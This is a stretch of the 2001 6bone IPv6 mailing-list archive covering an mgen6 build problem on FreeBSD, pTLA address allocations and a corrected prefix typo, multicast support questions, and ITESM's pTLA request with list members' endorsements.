mgen.c:1346: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function)
mgen.c:1349: `IP6OPT_BINDING_ACK' undeclared (first use in this function)
mgen.c:1352: `IP6OPT_BINDING_REQ' undeclared (first use in this function)
*** Error code 1

There aren't '#defines' for IP6OPT_BINDING*, IP6OPT_ROUTER_ALERT,
IP6OPT_HOME_ADDRESS and ... in
/usr/include/netinet/* and /usr/include/netinet6/*


What is the problem?
Thank you.



Grigory Klyuchnikov, System Engineer,
Institute for System Programming
Russian Academy of Sciences


From 6bone-owner  Wed May 30 03:22:31 2001
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From: "marcelo" <marcelo@it.uc3m.es>
To: "Grigory Kljuchnikov" <grn@ispras.ru>
Cc: "John M Cole" <jmcole@lucent.com>, <6bone@ISI.EDU>, <alberto@it.uc3m.es>
Subject: RE: Packet Generators
Date: Wed, 30 May 2001 12:22:59 +0200
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You must use the kernel sources provided by KAME proyect.
See http://www.kame.org


-----Mensaje original-----
De: Grigory Kljuchnikov [mailto:grn@ispras.ru]
Enviado el: miercoles, 30 de mayo de 2001 11:55
Para: marcelo
CC: John M Cole; 6bone@ISI.EDU; alberto@it.uc3m.es
Asunto: RE: Packet Generators


On Mon, 28 May 2001, marcelo wrote:

> Hi,
> At Universidad Carlos 3, in LONG project framework, we have migrated MGEN
> application to IPv6 so it can generate and receive all kind of IPv6
packets
> (including Hop by Hop options, routing header and destination options).
> You can find the application at http://www.it.uc3m.es/~alberto/mgen6/
> More information about our project can be found at
> http://long.ccaba.upc.es/.
> We hope you find it usefull, and if you need further information please
> contact us.
>
> marcelo
>

Hello,

I've tried to make mgen6 on FreeBSD 4.1 and have errors:

$ make
gcc -O -D_FREEBSD -g -D_GUI -IFreeBSD/X11R6/LessTif/Motif2.0/include
-I/usr/X11R6/include
 -c mgen.c
mgen.c: In function `SendOptionHeader':
mgen.c:122: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function)
mgen.c:122: (Each undeclared identifier is reported only once
mgen.c:122: for each function it appears in.)
mgen.c:125: `IP6OPT_BINDING_ACK' undeclared (first use in this function)
mgen.c: In function `InsertExtensionHeader':
mgen.c:1071: `IP6OPT_ROUTER_ALERT' undeclared (first use in this function)
mgen.c:1077: `IP6_ALERT_AN' undeclared (first use in this function)
mgen.c:1116: `IP6OPT_HOME_ADDRESS' undeclared (first use in this function)
mgen.c:1129: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function)
mgen.c:1136: `IP6_BUF_HOME' undeclared (first use in this function)
mgen.c:1148: `IP6OPT_BINDING_ACK' undeclared (first use in this function)
mgen.c:1164: `IP6OPT_BINDING_REQ' undeclared (first use in this function)
mgen.c: In function `LoadScript':
mgen.c:1337: `IP6OPT_ROUTER_ALERT' undeclared (first use in this function)
mgen.c:1343: `IP6OPT_HOME_ADDRESS' undeclared (first use in this function)
mgen.c:1346: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function)
mgen.c:1349: `IP6OPT_BINDING_ACK' undeclared (first use in this function)
mgen.c:1352: `IP6OPT_BINDING_REQ' undeclared (first use in this function)
*** Error code 1

There aren't '#defines' for IP6OPT_BINDING*, IP6OPT_ROUTER_ALERT,
IP6OPT_HOME_ADDRESS and ... in
/usr/include/netinet/* and /usr/include/netinet6/*


What is the problem?
Thank you.



Grigory Klyuchnikov, System Engineer,
Institute for System Programming
Russian Academy of Sciences


From 6bone-owner  Wed May 30 06:27:19 2001
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Date: Wed, 30 May 2001 06:23:02 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8201::/28 allocated to ATMAN6
Cc: Bill Manning <bmanning@ISI.EDU>, "Robert J. Wozny" <speedy@atm.com.pl>
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ATMAN6 has been allocated pTLA 3FFE:8201::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?ATMAN6>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


Thanks,

Bob


From 6bone-owner  Wed May 30 09:10:45 2001
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To: "marcelo" <marcelo@it.uc3m.es>
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        6bone@ISI.EDU, alberto@it.uc3m.es
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Subject: Re: Packet Generators 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Thu, 31 May 2001 01:08:58 +0900
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>You must use the kernel sources provided by KAME proyect.
>See http://www.kame.org

	kame.net:-)

itojun

From 6bone-owner  Wed May 30 09:47:27 2001
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Subject: Re: 6bone pTLA 3FFE:8201::/28 allocated to ATMAN6 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Thu, 31 May 2001 01:42:41 +0900
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>ATMAN6 has been allocated pTLA 3FFE:8201::/28 having finished its 2-week 
>review period.
><http://whois.6bone.net/cgi-bin/whois?ATMAN6>

	3ffe:8201::/28 does not fit into 28 bits.  my guess is it is 
	a typo of 3ffe:8210::/28.

itojun

From 6bone-owner  Wed May 30 11:24:34 2001
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Date: Wed, 30 May 2001 11:22:15 -0700
From: David Kessens <david@IPRG.nokia.com>
To: itojun@iijlab.net
Cc: 6bone@ISI.EDU
Subject: Re: whois: getting all "application" line
Message-ID: <20010530112215.A24916@iprg.nokia.com>
References: <1191.990195602@itojun.org> <8893.991113736@itojun.org>
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Itojun,

On Tue, May 29, 2001 at 02:22:16PM +0900, itojun@iijlab.net wrote:
> 
> >	hi, i'm thinking of configuring a box, which monitors IPv6 reachability
> >	from my IPv6 network to other IPv6 networks.  6bone whois has
> >	"appliation" lines, which invies us to ping remote network.
> >
> >>application:  ping sh1.iijlab.net
> 
> 	are there anyone maintain such list for sTLAs?
> 	i queried APNIC registry and it seems that these "application" lines
> 	are not a requiremnt (or not a common practice).  or if someone could
> 	suggest a good tool/existing webpage, it would be very nice.  thanks.

The 'inet6num' objects are for administrative purposes, that is, they
are intended to register who got address space allocated. They don't
tell anything about the physical infrastructure.

The 'ipv6-site' objects describe how a site is setup from a
technical/routing point of view. eg. which prefixes are announced from
which AS, what your tunnels are, whether you have application running
that people can you to test their v6 implementions etc..

Currently, we have only one repository for 'ipv6-site' objects and
this is the 6bone registry. Anybody with ipv6 address space can
register their information in the 6bone registry. I personnally
consider it a feature that there is currently only one such registry
(look at the not-so-well distributed nature of the ipv4 routing
registries).

Thanks,

David K.
---

From 6bone-owner  Wed May 30 12:43:25 2001
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Date: Wed, 30 May 2001 09:09:56 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: CORRECTION: 6bone pTLA 3FFE:8210::/28 allocated to ATMAN6
Cc: Bill Manning <bmanning@ISI.EDU>, "Robert J. Wozny" <speedy@atm.com.pl>
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CORRECTION: pTLA should be 3FFE:8210::/28, not 8201! Sorry about that!!

ATMAN6 has been allocated pTLA 3FFE:8210::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?ATMAN6>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


Thanks,

Bob


From 6bone-owner  Mon Jun  4 07:35:13 2001
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Subject: Multicast on 6BONE?
From: Bjorn Lindgren <bjorn.e.lindgren@telia.com>
To: 6bone@ISI.EDU
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Date: 04 Jun 2001 16:36:30 +0200
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Hi,

I have some questions about multicast and 6BONE.

Does multicast work on the current 6BONE?, does the core routers on
6BONE fully support multicast routing? (PIM-SM, PIM-DM, DVMRP, MBGP?).

I'm doing some experiments with streaming MPEG-1/2/4 video over IPv6
multicast and are looking into doing tests with more realistic
conditions than local LAN sandbox enviroment and wonder if this is
possible on 6BONE?

- bln


From 6bone-owner  Mon Jun  4 12:55:04 2001
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Date: Mon, 4 Jun 2001 09:55:14 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Bjorn Lindgren <bjorn.e.lindgren@telia.com>
cc: <6bone@ISI.EDU>
Subject: Re: Multicast on 6BONE?
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On 4 Jun 2001, Bjorn Lindgren wrote:

> I have some questions about multicast and 6BONE.
>
> Does multicast work on the current 6BONE?, does the core routers on
> 6BONE fully support multicast routing? (PIM-SM, PIM-DM, DVMRP, MBGP?).
>
> I'm doing some experiments with streaming MPEG-1/2/4 video over IPv6
> multicast and are looking into doing tests with more realistic
> conditions than local LAN sandbox enviroment and wonder if this is
> possible on 6BONE?

If you're announcing prefixes through zebra you can use it to announce
prefixes over MBGP.  I'm currently seeing only 3 prefixes in MBGP on our
looking glass so there's not much activity there.  This doesn't address
the actual routing problem though between tunnels.  We're using PIM and
MSDP on ciscos for IPv4 but integrating that with IPv6 has a number of
obstacles the biggest being that ciscos beta IPv6 firmware can't even
fit/run in the typical amount of flash/RAM on most of their routers.


From 6bone-owner  Mon Jun  4 17:18:31 2001
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Date: Mon, 04 Jun 2001 17:18:18 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for ITESM (www.itesm.mx) - review closes 9 June
  2001
Cc: Alfredo Lopez <alopez@tyr.mty.itesm.mx>
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6bone Folk,

ITESM (www.itesm.mx) has requested a pTLA allocation. The open review 
period for this request will close 18 June 2001. Please send your comments 
to me or the list.


Thanks,

Bob

===
>Date: Sun, 03 Jun 2001 20:11:00 -0500
>To: fink@es.net
>From: Alfredo Lopez <alopez@tyr.mty.itesm.mx>
>Subject: ITESM pTLA request form
>
>Bob:
>
>This is a pTLA request for ITESM  (Technological Institute and of superior 
>studies of Monterrey http://www.itesm.mx)
>Technological Institute and of Superior Studies of Monterrey is made up of 
>30 campus in Mexico, 1,302 receptor "seats"
>of classes broadcasted by means of satellite transmissions with full 
>Latinamerica coverage >
>- Argentina, Chile, Colombia, Costa Rica, Venezuela, Ecuador , etc .. -
>
>
>We would like to request one pTLA block, conformance to RFC 2772
>
>
>1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.
>
>ITESM is in 6bone since 13th July 1999 as pNLA of DIGITAL-CA/US. In this 
>moment the ITESM
>is a pNLA of CISCO/US-CA pTLA (3FFE:0c00::/24) , DIGITAL-CA/US pTLA 
>(3FFE:1200::/24)
>and FIBERTEL/AR (3ffe:3800:FFF5::/48)
>
>
>       During the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>
>You can consult our entries by ipv6-site ITESM
>mntner ITESM-6BONE or person Alfredo Lopez and Ricardo Castaneda that are 
>fully maintained up
>to date at http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>These are our BGP4+ peer connections:
>
>Ipv6 in Ipv4 gwipv6.ipv6.itesm.mx -> ipv6-router.cisco.com CISCO BGP4+
>Ipv6 in ipv4 rznipv6.ipv6.itesm.mx -> ipv6-router.cisco.com CISCO BGP4+
>IPv6 in IPv4 gwipv6.ipv6.itesm.mx -> gwvpn.mty.itesm.mx ITESM BGP4+
>IPv6 in IPv4 gwipv6.itesm.mx -> gwuvipv6.ipv6.itesm.mx ITESM BGP4+
>IPv6 Pure (no tunnels) gwipv6.ipv6.itesm.mx -> rznipv6.ipv6.itesm.mx BGP4+
>IPv6 Pure (no tunnels) gwipv6.ipv6.itesm.mx -> gw6.nic.mx BGP4+
>
>Each IPv6 Puer connections has an ipv6 prefix-list bgp-out to advertise 
>only the near neighbors.
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>Our dns machine is mainipv6.ipv6.itesm.mx AAAA 3ffe:c00:8027:2::9/64
>we have other hosts like
>www.ipv6.itesm.mx AAAA 3ffe:c00:8027:2::10/64
>gwipv6.ipv6.itesm.mx AAAA 3ffe:c00:8027:2::1/64
>broker.ipv6.itesm.mx AAAA 3ffe:cc00:8027:2::50/64
>and many others each one with reverse (ip6.int) entries. This is an example:
>
>dig @3ffe:c00:8027:2::9 ptr 
>0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT
>;; QUESTION SECTION:
>;0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT. 
>IN PTR
>
>;; ANSWER SECTION:
>0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT. 
>86400 IN PTR labtyripv6.ipv6.itesm.mx.
>
>;; AUTHORITY SECTION:
>7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT. 86400 IN NS    mainipv6.ipv6.itesm.mx.
>This DNS use the named.root file from IPv6 staff - Viagenie Inc.
>For example this query
>  [root@mainipv6 /root]# dig @3ffe:c00:8027:2::9 in .
>
>;; QUESTION SECTION:
>;.                              IN      A
>;; AUTHORITY SECTION:
>.                       9269    IN      SOA     dnsrs.viagenie.com. 
>ipv6.viagenie.qc.ca. 2001032501 1800 900 604800 86400
>
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>
>
>Our site IS IPv6 accessible  http://www.ipv6.itesm.mx 
>(http://[3ffe:c00:8027:2::200]), there is a description
>of our services.
>
>
>2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>The person attributes registeres are :
>person: Alfredo Lopez
>Person: Ricardo Castaneda
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>    The common mailbox for support contact has the two person objects 
> mentioned before
>and is copied to the ipv6 staff of the ITESM in Mexico conformed by 6 more 
>persons
>(5 for each 6 campus in the ITESM)
>
>3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>    ITESM Network has a user community made up of more than 85,000 
> students plus teachers, researchers
>and personal working at the ITESM all over Latin America 
>(http://www.itesm.mx/campus).
>
>    ITESM Network provides service to students, teachers and researchers 
> besides of several
>educational and governmental institutes of Mexico ,therefore it is 
>considered the most important
>educational and research center of Latinoamerica.
>
>    ITESM Ipv6 Network deployment is a task effort  of many educational 
> institutes and companies
>of Mexico like ITESM Campus Monterrey (http://www.mty.itesm.mx), 
>NIC-Mexico (http://www.nic.mx)
>Virtual University of Mexico (http://www.ruv.itesm.mx), Alestra 
>(http://www.alestra.com.mx) and
>every single campus that constitutes the ITESM (30 campus).
>This effort (working group) puts us as the biggest Internet Service 
>Provider of our country.
>
>    ITESM has been the bedrock of the network development and 
> research  because
>in 1986 it was the first Educational Institute to be part of EDUCOM, 
>having one 2600bps
>link to Texas University in San Antonio.
>    Within Internet2 effort (CUDI http://www.cudi.edu.mx), ITESM is the 
> main participant working with
>workgroups such as  Ipv6 , Multicast ipv4/ipv6 , Virtual Private Networks, 
>H.323 (streaming and
>videoconference,video over demand), voice over ip, routing policies, 
>Quality of Service, MPLS, etc ...
>urging the need of a full ipv4/ipv6 functional network notwithstanding if 
>we are serving ipv4 or
>ipv6 networks.
>Project ITESM-ALESTRA: IPv6 WAN interconnections   (no tunnel) . If you 
>wanna know more about this
>project please contact me
>
>4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>    We understand the 6Bone operational rules and policie routing 
> practices and we strongly agree
>    with them all. In our site we are updating a database of all RFC´s 
> relationated with IPv6.
>
>We are looking forward to service ipv6 as it should be and we hope you can 
>help us Bob
>
>Regards from Mexico



From 6bone-owner  Mon Jun  4 20:36:48 2001
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Date: Tue, 5 Jun 2001 00:36:40 -0300
From: horape@tinuviel.compendium.net.ar
To: 6bone@ISI.EDU, "Carlos E. Fonseca Zorrilla" <ccarly@coruniversitec.edu.co>
Subject: A new country on the 6bone: Colombia
Message-ID: <20010605003640.A28072@tinuviel.compendium.net.ar>
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¡Hola!

Thanks to Carlos E. Fonseca Zorrilla, from CORUNIVERSITEC, there is 
now a new country conected to the 6bone. That's the fourth island
from Uninet.EDU (after COMPENDIUM-AR, UNINET-EDU and SURRIEL) joining
the 6bone.

His island is not yet in the registry, but will be soon.

Congratulations to him,
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Mon Jun  4 22:11:43 2001
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: pTLA request for ITESM (www.itesm.mx) - review closes 9 June
To: fink@es.net (Bob Fink)
Date: Mon, 4 Jun 2001 22:11:55 -0700 (PDT)
Cc: 6bone@ISI.EDU (6BONE List), alopez@tyr.mty.itesm.mx (Alfredo Lopez)
In-Reply-To: <5.0.2.1.0.20010604171250.0e289288@imap2.es.net> from "Bob Fink" at Jun 04, 2001 05:18:18 PM
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 given the work done by ITESM, I support this request.


% 
% 6bone Folk,
% 
% ITESM (www.itesm.mx) has requested a pTLA allocation. The open review 
% period for this request will close 18 June 2001. Please send your comments 
% to me or the list.
% 
% 
% Thanks,
% 
% Bob
% 
% ===
% >Date: Sun, 03 Jun 2001 20:11:00 -0500
% >To: fink@es.net
% >From: Alfredo Lopez <alopez@tyr.mty.itesm.mx>
% >Subject: ITESM pTLA request form
% >
% >Bob:
% >
% >This is a pTLA request for ITESM  (Technological Institute and of superior 
% >studies of Monterrey http://www.itesm.mx)
% >Technological Institute and of Superior Studies of Monterrey is made up of 
% >30 campus in Mexico, 1,302 receptor "seats"
% >of classes broadcasted by means of satellite transmissions with full 
% >Latinamerica coverage >
% >- Argentina, Chile, Colombia, Costa Rica, Venezuela, Ecuador , etc .. -
% >
% >
% >We would like to request one pTLA block, conformance to RFC 2772
% >
% >
% >1. The pTLA Applicant must have a minimum of three (3) months
% >       qualifying experience as a 6Bone end-site or pNLA transit.
% >
% >ITESM is in 6bone since 13th July 1999 as pNLA of DIGITAL-CA/US. In this 
% >moment the ITESM
% >is a pNLA of CISCO/US-CA pTLA (3FFE:0c00::/24) , DIGITAL-CA/US pTLA 
% >(3FFE:1200::/24)
% >and FIBERTEL/AR (3ffe:3800:FFF5::/48)
% >
% >
% >       During the entire qualifying period the Applicant must be operationally
% >       providing the following:
% >
% >       a. Fully maintained, up to date, 6Bone Registry entries for their
% >          ipv6-site inet6num, mntner, and person objects, including each
% >          tunnel that the Applicant has.
% >
% >
% >You can consult our entries by ipv6-site ITESM
% >mntner ITESM-6BONE or person Alfredo Lopez and Ricardo Castaneda that are 
% >fully maintained up
% >to date at http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml
% >
% >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
% >          between the Applicant's boundary router and the appropriate
% >          connection point into the 6Bone. This router must be IPv6
% >          pingable. This criteria is judged by members of the 6Bone
% >          Operations Group at the time of the Applicant's pTLA request.
% >These are our BGP4+ peer connections:
% >
% >Ipv6 in Ipv4 gwipv6.ipv6.itesm.mx -> ipv6-router.cisco.com CISCO BGP4+
% >Ipv6 in ipv4 rznipv6.ipv6.itesm.mx -> ipv6-router.cisco.com CISCO BGP4+
% >IPv6 in IPv4 gwipv6.ipv6.itesm.mx -> gwvpn.mty.itesm.mx ITESM BGP4+
% >IPv6 in IPv4 gwipv6.itesm.mx -> gwuvipv6.ipv6.itesm.mx ITESM BGP4+
% >IPv6 Pure (no tunnels) gwipv6.ipv6.itesm.mx -> rznipv6.ipv6.itesm.mx BGP4+
% >IPv6 Pure (no tunnels) gwipv6.ipv6.itesm.mx -> gw6.nic.mx BGP4+
% >
% >Each IPv6 Puer connections has an ipv6 prefix-list bgp-out to advertise 
% >only the near neighbors.
% >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
% >          entries for the Applicant's router(s) and at least one host
% >          system.
% >
% >Our dns machine is mainipv6.ipv6.itesm.mx AAAA 3ffe:c00:8027:2::9/64
% >we have other hosts like
% >www.ipv6.itesm.mx AAAA 3ffe:c00:8027:2::10/64
% >gwipv6.ipv6.itesm.mx AAAA 3ffe:c00:8027:2::1/64
% >broker.ipv6.itesm.mx AAAA 3ffe:cc00:8027:2::50/64
% >and many others each one with reverse (ip6.int) entries. This is an example:
% >
% >dig @3ffe:c00:8027:2::9 ptr 
% >0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT
% >;; QUESTION SECTION:
% >;0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT. 
% >IN PTR
% >
% >;; ANSWER SECTION:
% >0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT. 
% >86400 IN PTR labtyripv6.ipv6.itesm.mx.
% >
% >;; AUTHORITY SECTION:
% >7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT. 86400 IN NS    mainipv6.ipv6.itesm.mx.
% >This DNS use the named.root file from IPv6 staff - Viagenie Inc.
% >For example this query
% >  [root@mainipv6 /root]# dig @3ffe:c00:8027:2::9 in .
% >
% >;; QUESTION SECTION:
% >;.                              IN      A
% >;; AUTHORITY SECTION:
% >.                       9269    IN      SOA     dnsrs.viagenie.com. 
% >ipv6.viagenie.qc.ca. 2001032501 1800 900 604800 86400
% >
% >
% >       d. A fully maintained, and reliable, IPv6-accessible system
% >          providing, at a mimimum, one or more web pages, describing the
% >          Applicant's IPv6 services.  This server must be IPv6 pingable.
% >
% >
% >
% >Our site IS IPv6 accessible  http://www.ipv6.itesm.mx 
% >(http://[3ffe:c00:8027:2::200]), there is a description
% >of our services.
% >
% >
% >2. The pTLA Applicant MUST have the ability and intent to provide
% >       "production-quality" 6Bone backbone service. Applicants must
% >       provide a statement and information in support of this claim.
% >       This MUST include the following:
% >
% >       a. A support staff of two persons minimum, three preferable, with
% >          person attributes registered for each in the ipv6-site object
% >          for the pTLA applicant.
% >The person attributes registeres are :
% >person: Alfredo Lopez
% >Person: Ricardo Castaneda
% >
% >       b. A common mailbox for support contact purposes that all support
% >          staff have acess to, pointed to with a notify attribute in the
% >          ipv6-site object for the pTLA Applicant.
% >
% >    The common mailbox for support contact has the two person objects 
% > mentioned before
% >and is copied to the ipv6 staff of the ITESM in Mexico conformed by 6 more 
% >persons
% >(5 for each 6 campus in the ITESM)
% >
% >3. The pTLA Applicant MUST have a potential "user community" that
% >       would be served by its becoming a pTLA, e.g., the Applicant is a
% >       major provider of Internet service in a region, country, or focus
% >       of interest. Applicant must provide a statement and information in
% >       support this claim.
% >
% >    ITESM Network has a user community made up of more than 85,000 
% > students plus teachers, researchers
% >and personal working at the ITESM all over Latin America 
% >(http://www.itesm.mx/campus).
% >
% >    ITESM Network provides service to students, teachers and researchers 
% > besides of several
% >educational and governmental institutes of Mexico ,therefore it is 
% >considered the most important
% >educational and research center of Latinoamerica.
% >
% >    ITESM Ipv6 Network deployment is a task effort  of many educational 
% > institutes and companies
% >of Mexico like ITESM Campus Monterrey (http://www.mty.itesm.mx), 
% >NIC-Mexico (http://www.nic.mx)
% >Virtual University of Mexico (http://www.ruv.itesm.mx), Alestra 
% >(http://www.alestra.com.mx) and
% >every single campus that constitutes the ITESM (30 campus).
% >This effort (working group) puts us as the biggest Internet Service 
% >Provider of our country.
% >
% >    ITESM has been the bedrock of the network development and 
% > research  because
% >in 1986 it was the first Educational Institute to be part of EDUCOM, 
% >having one 2600bps
% >link to Texas University in San Antonio.
% >    Within Internet2 effort (CUDI http://www.cudi.edu.mx), ITESM is the 
% > main participant working with
% >workgroups such as  Ipv6 , Multicast ipv4/ipv6 , Virtual Private Networks, 
% >H.323 (streaming and
% >videoconference,video over demand), voice over ip, routing policies, 
% >Quality of Service, MPLS, etc ...
% >urging the need of a full ipv4/ipv6 functional network notwithstanding if 
% >we are serving ipv4 or
% >ipv6 networks.
% >Project ITESM-ALESTRA: IPv6 WAN interconnections   (no tunnel) . If you 
% >wanna know more about this
% >project please contact me
% >
% >4. The pTLA Applicant MUST commit to abide by the current 6Bone
% >       operational rules and policies as they exist at time of its
% >       application, and agree to abide by future 6Bone backbone
% >       operational rules and policies as they evolve by consensus of the
% >       6Bone backbone and user community.
% >
% >    We understand the 6Bone operational rules and policie routing 
% > practices and we strongly agree
% >    with them all. In our site we are updating a database of all RFC´s 
% > relationated with IPv6.
% >
% >We are looking forward to service ipv6 as it should be and we hope you can 
% >help us Bob
% >
% >Regards from Mexico
% 
% 


-- 
--bill

From 6bone-owner  Tue Jun  5 10:43:44 2001
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Date: Tue, 05 Jun 2001 10:41:13 -0700
To: 6bone@ISI.EDU
From: Federico Andrade <federico@nttmcl.com>
Subject: Re: pTLA request for ITESM (www.itesm.mx) - review closes 9
  June
Cc: alopez@tyr.mty.itesm.mx
In-Reply-To: <200106050511.f555Bu012572@zed.isi.edu>
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Hi friends,

         The Monterrey Institute of Technology (ITESM) has been working 
hard to promote the use of technological tools for education and research 
in Mexico and LatinAmerica. Congratulations and keep the good work.

         I support the request also.

                                         Federico@NTTMCL.

At 10:11 PM 6/4/2001 -0700, Bill Manning wrote:
>  given the work done by ITESM, I support this request.
>%
>% 6bone Folk,
>%
>% ITESM (www.itesm.mx) has requested a pTLA allocation. The open review
>% period for this request will close 18 June 2001. Please send your comments
>% to me or the list.
>%
>% Thanks,
>%
>% Bob
>%
>% ===
>% >Date: Sun, 03 Jun 2001 20:11:00 -0500
>% >To: fink@es.net
>% >From: Alfredo Lopez <alopez@tyr.mty.itesm.mx>
>% >Subject: ITESM pTLA request form
>% >
>% >Bob:
>% >
>% >This is a pTLA request for ITESM  (Technological Institute and of superior
>% >studies of Monterrey http://www.itesm.mx)
>% >Technological Institute and of Superior Studies of Monterrey is made up of
>% >30 campus in Mexico, 1,302 receptor "seats"
>% >of classes broadcasted by means of satellite transmissions with full
>% >Latinamerica coverage >
>% >- Argentina, Chile, Colombia, Costa Rica, Venezuela, Ecuador , etc .. -
>% >
>% >
>% >We would like to request one pTLA block, conformance to RFC 2772
>% >
>% >
>% >1. The pTLA Applicant must have a minimum of three (3) months
>% >       qualifying experience as a 6Bone end-site or pNLA transit.
>% >
>% >ITESM is in 6bone since 13th July 1999 as pNLA of DIGITAL-CA/US. In this
>% >moment the ITESM
>% >is a pNLA of CISCO/US-CA pTLA (3FFE:0c00::/24) , DIGITAL-CA/US pTLA
>% >(3FFE:1200::/24)
>% >and FIBERTEL/AR (3ffe:3800:FFF5::/48)
>% >
>% >
>% >       During the entire qualifying period the Applicant must be 
>operationally
>% >       providing the following:
>% >
>% >       a. Fully maintained, up to date, 6Bone Registry entries for their
>% >          ipv6-site inet6num, mntner, and person objects, including each
>% >          tunnel that the Applicant has.
>% >
>% >
>% >You can consult our entries by ipv6-site ITESM
>% >mntner ITESM-6BONE or person Alfredo Lopez and Ricardo Castaneda that are
>% >fully maintained up
>% >to date at http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml
>% >
>% >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>% >          between the Applicant's boundary router and the appropriate
>% >          connection point into the 6Bone. This router must be IPv6
>% >          pingable. This criteria is judged by members of the 6Bone
>% >          Operations Group at the time of the Applicant's pTLA request.
>% >These are our BGP4+ peer connections:
>% >
>% >Ipv6 in Ipv4 gwipv6.ipv6.itesm.mx -> ipv6-router.cisco.com CISCO BGP4+
>% >Ipv6 in ipv4 rznipv6.ipv6.itesm.mx -> ipv6-router.cisco.com CISCO BGP4+
>% >IPv6 in IPv4 gwipv6.ipv6.itesm.mx -> gwvpn.mty.itesm.mx ITESM BGP4+
>% >IPv6 in IPv4 gwipv6.itesm.mx -> gwuvipv6.ipv6.itesm.mx ITESM BGP4+
>% >IPv6 Pure (no tunnels) gwipv6.ipv6.itesm.mx -> rznipv6.ipv6.itesm.mx BGP4+
>% >IPv6 Pure (no tunnels) gwipv6.ipv6.itesm.mx -> gw6.nic.mx BGP4+
>% >
>% >Each IPv6 Puer connections has an ipv6 prefix-list bgp-out to advertise
>% >only the near neighbors.
>% >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>% >          entries for the Applicant's router(s) and at least one host
>% >          system.
>% >
>% >Our dns machine is mainipv6.ipv6.itesm.mx AAAA 3ffe:c00:8027:2::9/64
>% >we have other hosts like
>% >www.ipv6.itesm.mx AAAA 3ffe:c00:8027:2::10/64
>% >gwipv6.ipv6.itesm.mx AAAA 3ffe:c00:8027:2::1/64
>% >broker.ipv6.itesm.mx AAAA 3ffe:cc00:8027:2::50/64
>% >and many others each one with reverse (ip6.int) entries. This is an 
>example:
>% >
>% >dig @3ffe:c00:8027:2::9 ptr
>% >0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT
>% >;; QUESTION SECTION:
>% >;0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT.
>% >IN PTR
>% >
>% >;; ANSWER SECTION:
